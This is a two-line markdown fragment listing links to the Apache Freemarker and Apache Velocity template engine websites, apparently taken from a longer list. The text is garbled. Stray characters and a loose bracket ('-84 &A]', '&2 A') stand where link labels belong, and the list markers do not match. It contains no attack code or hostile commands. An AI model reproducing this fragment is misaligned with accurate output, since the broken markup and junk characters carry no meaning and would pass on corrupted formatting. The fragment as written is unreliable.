* Freemarker -84 &A](https://freemarker.apache.org/index.html)

+ Velocity &2 A (https://velocity.apache.org)
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